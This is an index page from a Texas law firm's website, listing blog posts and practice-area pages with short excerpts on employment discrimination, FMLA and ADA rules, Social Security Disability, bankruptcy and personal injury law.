- [Why Summary Judgment is Unconstitutional](https://www.washthomas.com/why-summary-judgment-is-unconstitutional/) - The following is a summary of the law review article taken from the essay written by law professor Suja A. Thomas of the University of Illinois School of Law and published in the Virginia Law School Law Review, Vol 93, p. 139, 2007. Summary judgment is cited as a significant reason for the dramatic decline in the
- [Department of Labor Administrator's Interpretation of Classification of Workers as Independent Contractors or Employees](https://www.washthomas.com/department-of-labor-administrators-interpretation-of-misclassification-of-workers-as-independent-contractors-when-are-actually-employees/) - The Department of Labor issued an Administrator's Interpretation No. 2015-1 on the application of the Fair Labor Standards Act's "suffer or permit" standard in the identification of employees who are misclassified as independent contractors. The interpretation is important in that it is authority that has some weight with the Courts, although it is not binding
- [What Posters are Required for your Employer to Display?](https://www.washthomas.com/what-posters-are-required-for-your-employer-to-display/) - The first group of posters are required by federal law: - Equal Opportunity is the Law Poster - Family & Medical Leave Act Poster - Federal Minimum Wage Poster - Uniformed Services Employment & Reemployment Rights Act Poster - Employee Polygraph Protection Act Poster - OSHA Poster - Annual Summary of Occupational Illnesses and Injuries -
- [Title IX Protection for Students & Women](https://www.washthomas.com/title-ix-protection-for-students-women/) - Many people have never heard of Title IX. Title IX is a federal law passed in 1972 that requires gender equity for boys and girls in every educational program that receives federal funding. Title IX states that, "No person in the United States shall, on the basis of sex, be excluded from participation in, be
- [Employee's Non-Union Concerted Activity Protected By the National Labor Relations Act](https://www.washthomas.com/employees-non-union-concerted-activity-protected-by-the-national-labor-relations-act/) - Most people think that the National Labor Relations Act (NLRA), which is enforced by the National Labor Relations Board (NLRB) only relates to union activity of employees and employers. However, the NLRA and NLRB also applies to non-union concerted activity of employees, even in a non-union company. Section 7, as enforced by Section 8(a)(1) below
- [Your Rights Under the WARN Act When Your Employer Has a Mass Layoff Affecting You](https://www.washthomas.com/your-rights-under-the-warn-act-when-your-employer-has-a-mass-layoff-affecting-you/) - You must receive a written notice 60 days before the date of a mass layoff or plant closing if you and your employer meet certain conditions . If your employer does not give you the required notice, you may be able to seek damages for back pay and benefits for up to 60 days, depending on how many days’ notice
- [Question & Answers On Leave as a Reasonable Accommodation](https://www.washthomas.com/question-answers-on-leave-as-a-reasonable-accommodations/) - The Job Accommodation Network has issued a new publication with questions and answers concerning the duty of an employer to allow an employee to take leave as a reasonable accommodation to the employee's disability. Here is the link to the publication: http://t.co/XmnbgWBxiA
- [Sexual Harassment-Hostile Work Environment](https://www.washthomas.com/sexual-harassment-hostile-work-environment/) - There are two types of sexual harassment recognized as being against the law- quid pro quo and hostile work environment. We will discuss hostile work environment and leave the other for later. A plaintiff asserting a hostile work environment (HWE) discrimination claim against her employer has the burden of establishing not only that (1) she is
- [The Supreme Court Opens a Window(of time)-Lewis v Chicago](https://www.washthomas.com/the-supreme-court-opens-a-windowof-time-lewis-v-chicago/) - There are two categories of discrimination claims and these two were discussed in the recent U.S. Supreme Court's opinion, Lewis v. Chicago, No. 08-974, decided May 24, 2010. The two categories are called disparate treatment claims and disparate impact claims. Disparate (meaning different) treatment claims generally involve intentional illegal discrimination prohibited by Title VII such
- [FMLA-The 5th Circuit Steps Back from the Edge](https://www.washthomas.com/fmla-the-5th-circuit-steps-back-from-the-edge/) - On August 2, 2010, the Fifth Circuit Court of Appeals, in Saenz v. Harlingen Medical Center, took a reasonable and fair minded approach to the FMLA notice of serious medical condition duties of an employee. Before the 2009 revisions to the FMLA, an employee was required to give his employer notice of the need for unforseen medical leave "as soon
- [Important New Whistleblower Protection for Employees of Financial Institutions](https://www.washthomas.com/important-new-whistleblower-protection-for-employees-of-financial-institutions/) - On July 21, 2010, President Obama signed into law the Dodd-Frank Wall Street Reform and Consumer Protection Act (the "Dodd-Frank Act") which was designed to reform the U.S. financial regulatory system in response to the recent financial crisis. To accomplish this goal, the Act creates and expands protection and incentives for whistleblowers, among other provisions.
- [EEOC Charges The Gap With Violation of ADA](https://www.washthomas.com/eeoc-charges-the-gap-with-violation-of-ada/) - The EEOC has charged The Gap with violating the Americans with Disabilities Act (ADA), which prohibits employers from terminating employees because of such medical conditions. The employee took leave because of medical problems related to glomerolonephritis, a kidney disorder. He returned to work and was then fired on the spot. The EEOC alleged that The
- [Protection for Nursing Mothers](https://www.washthomas.com/protection-for-nursing-mothers/) - The Patient Protection and Affordable Care Act, effective March 23, 2010, requires employers to provide reasonable break time for an employee to express breast milk for her nursing child for one year after the child's birth each time such employee has need to express the milk. Employers are also required to provide a place, other
- [A Guide to Disability Rights Law](https://www.washthomas.com/a-guide-to-disability-rights-law/) - The Department of Justice maintains a web page that contains a list of and explanation of certain disability rights law. The guide is called "A Guide to Disability Rights Law". You can access it by clicking on the link. This guide provides an overview of Federal civil rights laws that ensure equal opportunity for people with disabilities. Hopefully,
- [Monetary Value of Employment Suit Settlements Rise in 2010](https://www.washthomas.com/monetary-value-of-employment-suit-settlements-rise-in-2010/) - The monetary value of settlements of the top 10 plaintiff employment discrimination class action lawsuits paid or entered into in 2010 totaled $346.4 million, which is more than four times the amount in 2009, according to a recently announced analysis. The largest was the $175 million settlement in Velez et al. vs. Novartis Pharmaceuticals Corp.,
- [More On the ADAAA](https://www.washthomas.com/more-on-the-adaaa/) - The Disability.Gov Blog, which is published by the EEOC contains a new post by Chai Feldblum, one of the Commissioners of the EEOC, entitled Thoughts for a New Era: Expanding Work Opportunities for People with Mental Disabilities . The post discusses the Americans with Disabilities Amendments Act (ADAAA) enacted in 2008 and effective beginning January 1,
- [The Cat's Paw Has Claws](https://www.washthomas.com/the-cats-paw-has-claws/) - The U.S. Supreme Court finally answered the long awaited question of whether the "Cat's Paw" theory was a valid method of placing liability on a company for the discriminatory actions of a supervisor that results in an adverse action against an employee by a higher supervisor who had no personal discriminatory animus. And, the answer
- [Whistleblower Law Information](https://www.washthomas.com/whistleblower-law-information/) - The Department of Labor has a webpage that contains a comprehensive list of federal whistleblower laws. If you think you have been discriminated against or fired for complaining to your employer about something, you might want to take a look at this list and see if any of the laws could be applicable to your situation.
- [Surface Transportation Assistance Act- Protection for Truckers](https://www.washthomas.com/surface-transportation-assistance-act-protection-for-truckers/) - The Surface Transportation Assistance Act (STAA) is a little known federal law that protects truck drivers (drivers of a commercial motor vehicle, including an independent contractor when personally operating a commercial motor vehicle, a mechanic, a freight handler, or an individual not an employer) from retaliation by their employer for refusing to operate a dangerous vehicle, obeying the law,
- [Who Is Filing Bankruptcy](https://www.washthomas.com/who-is-filing-bankruptcy/) - For a look at a great chart showing the demographics of who (what types) of people have been filing bankruptcy click on the link. The chart gives statistics on age, employment, education, income, etc.
- [The Final EEOC Regulations Interpreting the ADAAA](https://www.washthomas.com/the-final-eeoc-regulations-interpreting-the-adaaa/) - The following is a portion of a question and answer page published by the EEOC regarding the final regulations interpreting the ADA Amendments Act of 2008. If you would rather read the entire document you can find it on the EEOC website here: The ADA Amendments Act of 2008 (ADAAA) was enacted on September 25, 2008,
- [Does An Employer Have To Pay For An Employee's Work Gloves or Shoes?](https://www.washthomas.com/does-an-employer-have-to-pay-for-an-employees-work-gloves-or-shoes/) - If you need a special type of equipment, clothes, gloves or shoes to do a specific job for your employer because of a disability, then your employer most likely is required to provide it under the Americans with Disabilities Act (ADA). An employer is required to provide reasonable accommodations to its workers with disabilities, if
- [Will the Courts Spend Less Time on the Minutia of An Impairment Under the ADAAA?](https://www.washthomas.com/can-lawyers-the-courts-spend-less-time-on-the-minutia-of-an-impairment-under-the-adaaa/) - As I was reviewing the EEOC's final regulations to the Americans with Disabilities Amendment Act of 2008 (ADAAA), I was impressed with one of the final paragraphs of the regulations: "The Amendments Act modified title I’s nondiscrimination provision to replace the prohibition on discrimination ‘‘against a qualified individual with a disability because of the disability
- [Allowing Another Employee to Do An Essential Function of a Job As a Reasonable Accommodation Survives Summary Judgment in Seventh Circuit Case](https://www.washthomas.com/allowing-another-employee-to-do-a-portion-of-an-essential-function-as-a-reasonable-accommodation-survives-summary-judgment-in-seventh-circuit-case/) - The Seventh Circuit allowed an employee to survive summary judgment on a pre-ADAAA reasonable accommodation disability claim (Miller v. Illinois Dept. Transp.decided 5/10/11). The employee had a fear of heights which prevented him from climbing on a bridge repair crew. Prior to his termination, the workers on his crew had been informally accommodating his climbing
- [The Case of the Moving Body and Employment Law](https://www.washthomas.com/the-case-of-the-moving-body-and-employment-law/) - The Texas Supreme Court recently decided Service Corporation International v. Guerra No. 09-0941 (Tex. 2011). This case involved a suit by a family against a cemetery company that intentionally moved a body without permission, after the body had been buried in the wrong lot and the family refused the request to move the corpse. Now,
- [Calculating Overtime Hours for Salaried Employees](https://www.washthomas.com/calculating-overtime-hours-for-salaried-employees/) - Generally, salaried employees are not entitled to overtime pay. However, the regulations are complicated and certain salaried employees are entitled to overtime even though they receive a salary. The FLSA requires that most employees in the United States be paid at least the federal minimum wage for all hours worked and overtime pay at time
- [Educator's Granted Qualified Immunity in Case Where They Prohibited Students From Using the Word "Christmas" In Conjunction With Any School Event or Activity](https://www.washthomas.com/educators-granted-qualified-immunity-in-case-where-they-prohibited-students-from-using-the-word-christmas-in-conjunction-with-any-school-event-or-activity/) - In the 2011 Fifth Circuit case of Morgan v. Swanson, the Court held en banc that Defendants, who are principals of elementary schools in the Plano Independent School District, are entitled to qualified immunity from the suit for the alleged First Amendment violations against school children. According to plaintiffs' complaints, defendants banned the distribution of
- [What Are Reasons for Leaving My Job That Might Not Prevent Me From Receiving Unemployment Compensation?](https://www.washthomas.com/what-are-reasons-for-leaving-my-job-that-might-not-prevent-me-from-receiving-unemployment-compensation/) - In order to get unemployment compensation from the Texas Workforce Commission, you must be unemployed through no fault of your own. Examples of reasons that should not prevent you from receiving unemployment compensation are: You were laid off due to lack of work You are still working but the employer reduced your hours but not
- [Pre-Employment Inquiries By Employers Regarding Arrest & Conviction](https://www.washthomas.com/pre-employment-inquiries-by-employers-regarding-arrest-conviction/) - There is no Federal law that clearly prohibits an employer from asking about arrest and conviction records. However, using such records as an absolute measure to prevent an individual from being hired could limit the employment opportunities of some protected groups and thus cannot be used in this way. The EEOC states that nationally, Blacks
- [A Reply to the Misinformation About the Number of Lawsuits](https://www.washthomas.com/a-reply-to-the-misinformation-about-the-number-of-lawsuits/) - A chart is making its way around the Internet called “We The Plaintiffs ... A Closer Look at America’s Obsession with Lawsuits.” It is written by – or was given to – a company named “eLocalLawyers.” The Center for Justice & Democracy of the New York Law School has published an article entitled, "We the
- [TEXAS SUPREME COURT RULES AGAINST "LILLY LEDBETTER" & INSTRUCTS HER TO TAKE IT UP WITH THE TEXAS LEGISLATURE](https://www.washthomas.com/texas-supreme-court-rules-against-lilly-ledbetter-instructs-her-to-take-it-up-with-the-texas-legislature/) - The Texas Supreme Court ruled last week in Prairie View A&M University v. Chatha, that the federal Lilly Ledbetter Fair Pay Act (Ledbetter Act), amending Title VII to provide that a discriminatory pay decision occurs each time a paycheck is received and not just when an initial salary decision is made, does not apply to
- [FMLA-CLARIFICATION OF SON OR DAUGHTER DEFINITION BY DOL](https://www.washthomas.com/fmla-clarification-of-son-or-daughter-definition-by-dol/) - The Department of Labor released a new interpretation and clarification of the definition of "son or daughter" under Section 101(12) of the Family and Medical Leave Act (FMLA) as it applies to an individual 18 years or older and incapable of self-care because of a mental or physical disability. The FMLA entitles an eligible employee
- [ DEFINITION/EXPLANATION OF IMPORTANT TERMS of the ADA (ADAAA)](https://www.washthomas.com/definitionexplanation-of-important-terms-of-the-ada-adaaa/) - Americans with Disabilities Act Disability (as amended by ADAAA) means- A Physical or Mental Impairment that Substantially Limits one or more of the Major Life Activities (MLA) or being Regarded As having such an impairment or A Record Of such an impairment Definitions/explanations of the above terms: Physical or Mental Impairment means a physiological or
- [Medical Doctor Employees Provided Special Provision Not Granted to Other Employees](https://www.washthomas.com/medical-doctor-employees-provided-special-provision-not-granted-to-ordinary-employees/) - Texas doctors were given a "perk" that the rest of Texas employees were not provided by the Texas Legislature in section 15.50 Texas Business & Commerce Code. The section modifies the regulation of covenants not to compete, which typically are contracts providing that an employee cannot compete with his employer when the employee leaves employment.
- [What Can a Potential Employer Ask You About Your Medical or Physical Conditions in the Interview?](https://www.washthomas.com/what-can-a-potential-employer-ask-you-about-your-medical-or-physical-conditions-in-the-interview/) - What can an interviewing potential employer ask about your disabilities, impairments or medical issues in the first job interview: •Employer can't: Your potential employer can't ask any questions about any medical issues or require a physical examination before making a job offer. Prohibited questions would be things like, "Will you need any accommodations to perform
- [Do I have the right to decline a video hearing for Social Security Disability?](https://www.washthomas.com/do-i-have-the-right-to-decline-a-video-hearing-for-social-security-disability/) - Yes, you have an absolute right to object to a video hearing. A lot of times a video hearing can work to disadvantage a claimant depending on the impairment. For instance, a claimant might suffer from a horrific skin disease which is best observed in person. My advice is to make your request for an in-person hearing as
- [Employment Discrimination](https://www.washthomas.com/employment-discrimination/) - Employment law covers a complex network of laws that control how employers must treat employees, former employees and applicants for employment.
- [Personal Injury](https://www.washthomas.com/texas-personal-injury-attorneys-lawyers/) - Personal Injury refers to injuries to people usually from accidents and also from defective prescription drugs, medical malpractice and all other injuries, diseases or medical conditions that result from the negligence of any person or company.
- [Auto And Vehicle Accidents](https://www.washthomas.com/auto-and-vehicle-accidents/) - When you are involved in a car accident in Texas, you may get confused and unsure about where to turn next. You face several problems like the costs of medical, prescriptions, physical therapy and lost wages. The insurance company may not support you in a fair manner at such times, and you need to make
- [Age & Sex Discrimination](https://www.washthomas.com/age-sex-discrimination-claims/) - Wash & Thomas Attorneys is a recognized firm well experienced with cases regarding labor and employment law in Waco, Texas.
- [Insurance Claims](https://www.washthomas.com/insurance-claims/) - We represent insured individuals who have suffered a loss and need help obtaining payment from their insurance company.
- [Bankruptcy](https://www.washthomas.com/bankruptcy/) - We represent individuals and commercial clients in Chapter 7, Chapter 13, and Chapter 11 bankruptcy proceedings, at both the state and federal level, that are initiated by either an insolvent individual or business, or creditors seeking to have the debtor’s remaining assets distributed among the creditors, and thereby discharging the debtor from further obligation or
- [Social Security Disability / SSI](https://www.washthomas.com/social-security-disabilityssi/) - If you become disabled, Social Security Disability Insurance (“SSDI”) provides income until your condition improves and guarantees income if it doesn’t. It is not a government handout or welfare. It is insurance that you paid for during your working years.
- [Deceptive Trade Practices](https://www.washthomas.com/deceptive-trade-practices/) - Our attorneys are well versed in unfair / deceptive business practices matters. We pursue and defend a full range of consumer complaints against banks, real estate brokers, motor vehicle dealers, and other businesses.
- [Wills Trusts and Probate](https://www.washthomas.com/wills-trusts-and-probate/) - We handle a variety of estate planning matters, including planning for the distribution of an individual’s property at his or her death and taking into account wills, taxes, insurance, property, and trusts so as to gain the maximum benefit of all laws, while, at the same time, carrying out the person’s wishes.
- [Wrongful Death](https://www.washthomas.com/wrongful-death/) - "Wrongful Death" is a legal term that refers to situations when a person dies due to the negligence of another. Wrongful death cases may arise as a result of a variety of incidents, including car accidents and medical malpractice. The goal of our firm is to make sure that the survivor and beneficiaries are maximally
- [Can An Employer Enforce An "English-Only Rule" At Work?](https://www.washthomas.com/can-an-employer-enforce-an-english-only-rule-at-work/) - The question comes up frequently as to whether an employer can enforce an "English-only" rule at work. Here is what the EEOC says about it: The EEOC has stated that rules requiring employees to speak only English in the workplace violate the law unless they are reasonable necessary to the operation of the business. A
- [COMPLYING WITH REASONABLE ACCOMMODATION REQUESTS](https://www.washthomas.com/complying-with-reasonable-accommodation-requests/) - Complying With ‘Reasonable Accommodation' Requests Date: April 15, 2014 By Myra Creighton This article by Myra Creighton was first featured in Risk Management magazine. Employers must understand their accommodation obligations. Denying an accommodation request because the employee is not disabled is a risky proposition. Under the Americans with Disabilities Act (ADA), disability is still defined
- [EEOC PUBLISHES GUIDANCE ON RELIGIOUS DRESS & GROOMING ACCOMMODATION BY EMPLOYERS](https://www.washthomas.com/eeoc-gives-new-guidance-on-religious-dress-grooming-accommodation-by-employers/) - The EEOC has published a new fact sheet providing basic information about how federal employment discrimination law applies to religious dress and grooming practices. A full-length question-and-answer guide is available here. In most instances, employers covered by Title VII of the Civil Rights Act of 1964 must make exceptions to their usual rules or preferences
- [Recent Developments in Overtime Exemption Law-Fluctuating Workweek and Home Care Workers](https://www.washthomas.com/recent-developments-in-overtime-exemption-law-fluctuating-workweek-and-home-care-workers/) - Two areas have been in the news relating to overtime pay for employees. The first area deals with the "fluctuating workweek". The Fair Labor Standards Act (FLSA) requires that employees that are not qualified as exempt (usually called "non-exempt employees") from overtime receive one & one-half times their regular rate of pay for any hours
- [Right to Work vs. Employment at Will](https://www.washthomas.com/right-to-work-vs-employment-at-will/) - Many people confuse the term "right to work" with "employment at will". I hear a lot of people say that Texas is a "right to work" state and what they mean to say is that Texas is a state in which you can be fired at will. The term "right to work" state actually means
- [The Dog Ate My Medical Certification ](https://www.washthomas.com/the-dog-ate-my-medical-certification/) - The Family Medical Leave Act (FMLA) is a great benefit for employees who are eligible and comply with the rules of the law. However, some people have the erroneous impression that they can’t be fired when they are under “doctors care”. This is absolutely wrong and believing this urban legend can get you fired. While
- [Discrimination Based on Breast Feeding Protected By Pregnancy Discrimination Act & Title VII](https://www.washthomas.com/644/) - The Fifth Circuit Court of Appeals has ruled in EEOC v. Houston Funding II, Ltd. that the plaintiff should receive a jury trial on whether the company violated the Pregnancy Discrimination Act (PDA) and Title VII, when she requested the right to use a breast milk express pump at work and was fired. The plaintiff
- [MENTAL ANGUISH REVISITED BY TEXAS SUPREME COURT](https://www.washthomas.com/mental-anguish-revisted-by-texas-supreme-court/) - The Texas Supreme Court is once again "tinkering" with the proof necessary to recover mental anguish damages. Although the case involved defamation, in Hancock v. Variyam, the court revisted the necessary amount of proof to support damages for mental anguish. This is important to employment cases because they frequently involve an attempt to recover mental
- [Corporations Are Robbing Us Of Our Right to a Fair Trial ](https://www.washthomas.com/corporations-are-robbing-us-of-our-right-to-a-fair-trial/) - Being wronged by a corporation is painful enough, but just try getting your day in court. Most Americans don't realize it, but our Seventh Amendment right to a fair jury trial against corporate wrongdoers has quietly been stripped from us. Instead, we are now shunted into a stacked-deck game called "Binding Mandatory Arbitration." Proponents of
- [Jury Fact Questions Are Fading Fast in Federal Court](https://www.washthomas.com/jury-fact-questions-are-fading-fast-in-federal-court/) - A jury fact question is what a judge looks for in determining whether a case should be allowed to go to a jury trial or should be dismissed on a motion for summary judgment. In the federal 4th circuit case of EEOC v. Thompson Contracting, Grading, Paving, and Utilities, Inc., No. 11-1897, http://bit.ly/UzoJst, the employee's
- [The Erosion of the Jury Trial](https://www.washthomas.com/the-erosion-of-the-jury-trial/) - The federal Tenth Court of Appeals handed down an opinion which is illustrative of the difficulty plaintiffs have in federal court to clear the ever increasing height of the summary judgment hurdle. Many of the judges in the federal system are clearly usurping the role of a jury and deciding fact issues by simply stating
- [How long will a Bankruptcy stay on my credit report](https://www.washthomas.com/how-long-will-a-bankruptcy-stay-on-my-credit-report/) - This question is asked frequently by clients and prospective clients. The short answer is "it depends". Legally, a bankruptcy can remain on a person's credit report for 10 years, however, as a practical matter, credit reporting services frequently remove bankruptcies after 7 years which is the general rule that is followed in the credit reporting
- [FMLA Trap for the Unwary-It's Your Duty to See that the Medical Certification is Returned Timely](https://www.washthomas.com/fmla-trap-for-the-unwary-its-your-duty-to-see-that-the-medical-certification-is-returned-timely/) - The Family Medical Leave Act (FMLA) is a great benefit for employees who are eligible and comply with the rules of the law. However, some people have the erroneous impression that they can't be fired when they are under "doctors care". This is absolutely wrong and believing this urban legend can get you fired. While
- [Is There Any Reason That an Employer Can Discriminate Based on Age?](https://www.washthomas.com/is-there-any-reason-that-an-employer-can-discriminate-based-on-age/) - Is there any reason that an employer can discriminate based on age? The answer is "yes," if the employer can prove that age is a bona fide occupational qualification (BFOQ). One example of age being a BFOQ is in a theater play calling for a young person in the role. The possibility of age
- [If You Have a Claim or Lawsuit You Need a Durable Power of Attorney](https://www.washthomas.com/if-you-have-a-claim-or-lawsuit-you-need-a-durable-power-of-attorney/) - If you have a claim or a lawsuit, you should discuss with your attorney whether you have a Durable Power of Attorney. A power of attorney is a document that you sign that gives another person the authority to take certain actions that you could do personally. For example, you can grant another person the
- [What Kind of Medical Questions & Examinations Can an Employer Impose on An Employee? ](https://www.washthomas.com/what-kind-of-medical-questions-examinations-can-an-employer-impose-on-an-employee/) - When you interview for a job, under the Americans with Disabilities Act (ADA) an employer is not supposed to ask verbal or written questions that would tend to expose an impairment or disability. The only questions they can ask is whether you can perform the essential functions of the job, if they ask these questions
- [The War of the Courtroom](https://www.washthomas.com/the-war-of-the-courtroom/) - On this Memorial Day in 2012, I think it would be good to look at some of the quotes of Winston Churchill about war, especially the war (World War II) which he guided the British through to ultimate victory. Also, in as sense, a lawsuit and the courtroom can be like a battle or a
- [New EEOC Regulation on Employer Defense of "Reasonable Factors Other Than Age" in ADEA Cases](https://www.washthomas.com/new-eeoc-regulation-on-employer-defense-of-reasonable-factors-other-than-age-in-adea-cases/) - The Equal Employment Opportunity Commission (EEOC) recently amended their regulations in order to clarify their interpretation of the U.S. Supreme Court case of Smith v. City of Jackson, Mar. 31, 2008. The Supreme Court ruled that disparate-impact claims are cognizable under the Age Discrimination in Employment Act (‘‘ADEA’’) but that liability is precluded when the
- [Will I be able to keep my house and cars if I file bankruptcy](https://www.washthomas.com/will-i-be-able-to-keep-my-house-and-cars-if-i-file-bankruptcy/) - A question that I am frequently asked in meetings with clients is will they be able to keep their house or car after filing bankruptcy. Not only is the filing of bankruptcy not a factor by itself which would cause someone to lose these assets but bankruptcy can actually assist, depending on the type of
- [Limited Job Tenure Protection for Long Term Non-Union Employees?](https://www.washthomas.com/limited-job-tenure-protection-for-long-term-non-union-employees/) - Should a non-union medium to large company have a program that grants some limited job protection to its employees that have say, ten or more years at the company, and have met a certain minimum level of good performance during this time? This seems like it would be a benefit to the company and its
- [The Interaction Between the FMLA & ADA Related to "Light Duty" for an Injured Employee ](https://www.washthomas.com/the-interaction-between-the-fmla-ada-related-to-light-duty-for-an-injured-employee/) - If the Family Medical Leave Act (FMLA) entitles an employee to leave, an employer may not, in lieu of FMLA leave, require an employee to take a job with a reasonable accommodation. However, the Americans with Disabilities Act (ADA) may require that an employer offer an employee the opportunity to take such a position. An
- [Mistake #2 to avoid in completing Social Security Disability forms](https://www.washthomas.com/mistake-2-to-avoid-in-completing-social-security-disability-forms/) - This actually should probably be the #1 mistake to avoid. Do not make the mistake of not completing the form and not turning it in within the requested time period. You will usually be denied for sure for lack of cooperation. It seems simple, but often neglected by claimants.
- [Mistake #1 to avoid in completing Social Security Disability Forms](https://www.washthomas.com/mistake-1-to-avoid-in-completing-social-security-disability-forms/) - When asked to complete a Function Report or Daily Activities Report for your Social Security Disability Form, be careful not to generalize too much. In other words, if asked what you do on an average day, don't write down a week's worth of activities into one day. The examiner will assume verbatim based on your
- [Can I Keep Some of My Debts Out of Bankruptcy](https://www.washthomas.com/can-i-keep-some-of-my-debts-out-of-bankruptcy/) - As a bankruptcy lawyer, I frequently am asked by potential clients if they can pick and choose what debts are included in their bankruptcy case. It appears there is a common misconception regarding bankruptcy that some debts do not have to be included in the case. Of course, while all debts must be listed and
- [Narcolepsy - Social Security Disability](https://www.washthomas.com/narcolepsy-social-security-disability/) - add text here - Narcolepsy Merryl Jones
- [Like Shooting Fish in a Barrel](https://www.washthomas.com/like-shooting-fish-in-a-barrel/) - Many employers think that when an employee is out of FMLA medical leave, that if the employee exceeds 12 weeks that they should fire them so as to not be discriminatory to other employees who return in 12 weeks. There was little danger in taking this approach before the amendment of the ADA by the
- [Discharging income taxes in bankruptcy](https://www.washthomas.com/discharging-income-taxes-in-bankruptcy/) - Under the BAPCPA bankruptcy law, chapter 7 and chapter 13 cases are treated the same concerning IRS income tax obligations. If the tax debt is dischargeable, then the penalty and interest calculated on the taxes will be discharged as well. To be dischargeable, the tax liability due date for the return must be older than
- [Your Doctor Can Get You Fired](https://www.washthomas.com/your-doctor-can-get-you-fired/) - “I thought my doctor was on my side, how could he get me fired”? Frequently doctors, after treating you for a medical condition, will place certain restrictions on you which may be incompatible with the essential functions of your job. There is no law that says you can’t be fired while under a doctor’s care
- [Are the Social Security Trust Funds Solvent?](https://www.washthomas.com/are-the-social-security-trust-funds-solvent/) - As of the date of this entry, the Social Security Trust Funds remain relatively stable. The 2011 report finds that, if no action is taken, the Trust Funds will be able to pay 100% of scheduled benefits until 2036. However, the Disability Insurance Trust Fund will be depleted in 2018. Congress can act to reallocate
- [New Automobile Insurance Liability Limits](https://www.washthomas.com/new-automobile-insurance-liability-limits/) - The new automobile insurance liability limits are $30,000 per injured person with a maximum limit of $60,000 per accident no matter how many persons are involved. The personal property limit is now $25,000 (so don't be running into a brand new Mercedes). You should always buy uninsured/underinsured motorist protection on your own policy. It is
- [Can An Employer Use An Employee's Personal Information?](https://www.washthomas.com/can-an-employer-use-an-employees-personal-information/) - Generally, an employer cannot use an employee's personal information without the employee's permission. Texas has enacted laws making it a civil offense for a person to use someone else's "personal identifying information" (PII) without their authorization. The law requires businesses to safeguard sensitive personal information in their custody or control. Tex. Business & Commerce Code
- [Can I collect both veteran disability benefits and Social Security Disability benefits at the same time?](https://www.washthomas.com/can-i-collect-both-veteran-disability-benefits-and-social-security-disability-benefits-at-the-same-time/) - Yes, you are entitled to collect both veteran disability benefits and Social Security Disability benefits at the same time. I advise my clients to apply for both at the same time. A lot of times veterans will wait to apply for Social Security Disability until after they have been approved for disability through the VA.
- [How far back will I be able to collect in Supplemental Security Income Benefits?](https://www.washthomas.com/how-far-back-will-i-be-able-to-collect-in-supplemental-security-income-benefits/) - Your SSI benefits work somewhat differently than Social Security Disability Benefits. You will be paid SSI benefits beginning on the first of the month after the month in which you applied as long as you were disabled before that date and met the income and asset requirements of the SSI program before that date. Otherwise
- [Initial Consultation Agreement and Required Notices](https://www.washthomas.com/initial-consultation-agreement-and-required-notices/) - The Bankruptcy Abuse Prevention and Consumer Protection Act ("BAPCPA") requires that any person prior to receiving bankruptcy advise receive written disclosures. Generally, these disclosures identify the various sections or chapters of the Bankruptcy Code, e.g. Chapter 7 or Chapter 13, and state the general qualifications and circumstances in which these bankruptcies can be used. In
- [How far back will I be able to collect in Social Security Disability benefits?](https://www.washthomas.com/how-far-back-will-i-be-able-to-collect-in-social-security-disability-benefits/) - Many people ask why social security disability benefits don’t begin on the date the judge found that they became disabled. Social security disability benefits never begin on the date one becomes disabled because of the waiting period of five full calendar months. Another rule limits payment of back benefits to 12 months before the date
- [Can I Take Off Work to Care for My Daughter When She Has Her Baby?](https://www.washthomas.com/can-i-take-off-work-to-care-for-my-daughter-when-she-has-her-baby/) - Under the Family & Medical Leave Act (FMLA) an employee who has worked more than half time for one year for an employer of 50 or more employees within a 75 mile radius of the employee's worksite is entitled to FMLA leave under the terms of the Act. This can conceivably apply to an adult daughter who
- [Will I automatically receive Social Security Disability Benefits if I am a 100% disabled veteran?](https://www.washthomas.com/will-i-automatically-receive-social-security-disability-benefits-if-i-am-a-100-disabled-veteran/) - Unfortunately, the answer is no. While the 100% disability rating is evidence that the Social Security Administration will consider in determining if you meet their guidelines for Social Security Disability, it is not controlling evidence. I will give an example to help explain what seems to be unfair. For instance, the majority of a veteran's disability rating
- [What’s the difference between the Social Security Disability and SSI disability programs?](https://www.washthomas.com/whats-the-difference-between-the-social-security-disability-and-ssi-disability-programs/) - Both programs require that you be disabled; but benefits are calculated differently for the two programs. SSI is a federal welfare program. As such, there is a limit on the amount of "assets" you may have in order to receive any payment at all. Also, the monthly amount of SSI benefits depends on your income
- [How long will it take SSA to pay me my Social Security disability and SSI payments?](https://www.washthomas.com/how-long-will-it-take-ssa-to-pay-me-my-social-security-disability-and-ssi-payments/) - Your regular monthly checks should start in one to two months (or so). However, it may take several additional months for all of your back benefits to be paid. This is because you will be first "overpaid" SSI. The reason for the SSI overpayment is that the Social Security Administration (SSA) usually calculates your SSI
- [Checking Credit Reports following Discharge in Bankruptcy](https://www.washthomas.com/389/) - Credit reporting services should pick up a bankruptcy discharge order following a debtor's discharge in bankruptcy and modify a discharged debtor's credit report accordingly but this does not always happen. Accordingly, a debtor discharged should always check his or her credit report within 60 to 90 days following the discharge order being entered to make
- [What assets are not counted in determining how much SSI that I will receive?](https://www.washthomas.com/what-assets-are-not-counted-in-determining-how-much-ssi-that-i-will-receive/) - SSA has a list of assets that don’t count against your asset limit. In other words, you can own these things and still be eligible for SSI. Here are the most significant things on the list: Your home. It can have any value; but if you move out and rent out the house, it becomes
- [Will I be eligible for Title 19 (Medicaid) if I am approved for SSI?](https://www.washthomas.com/will-i-be-eligible-for-title-19-medicaid-if-i-am-approved-for-ssi/) - Yes. Title 19 (Medicaid) eligibility is automatic once you’ve been found eligible for Supplemental Security Income (SSI). You will receive a Title 19 card in the mail. Title 19 eligibility should begin three months before SSI eligibility begins but usually your Title 19 card is just backdated to the date when your SSI began.
- [No Fault Attendance Policies May Violate the ADA](https://www.washthomas.com/no-fault-attendance-policies-may-violate-the-ada/) - The EEOC has always held the opinion that the "no-fault" attendance policies that many employers have in order to get rid of their sick or injured employees after a set length of time (some have 6 month or 12 month policies) can violate the ADA. However, the problem with enforcing that as a violation was that
- [Will I be eligible for Medicare if approved for Social Security Disability?](https://www.washthomas.com/will-i-be-eligible-for-medicare-if-approved-for-social-security-disability/) - Medicare eligibility begins after you have received 24 months of social security disability benefits. Please note that to receive Part B of Medicare (which pays for doctor visits), you pay a premium that will be deducted from your social security disability monthly check. Disabled people with relatively low income and assets may be eligible for
- [Revised ADA Regulations Effective on March 15, 2011](https://www.washthomas.com/revised-ada-regulations-effective-on-march-15-2011/) - The revised Americans with Disabilities Act regulations relating to public accommodations which became effective March 15, 2011 can be found here. A summary of these regulations is also located at this site. These important regulations provide information on the use of wheelchairs, miniature horses (can now be used as an alternative to guide dogs), communications,
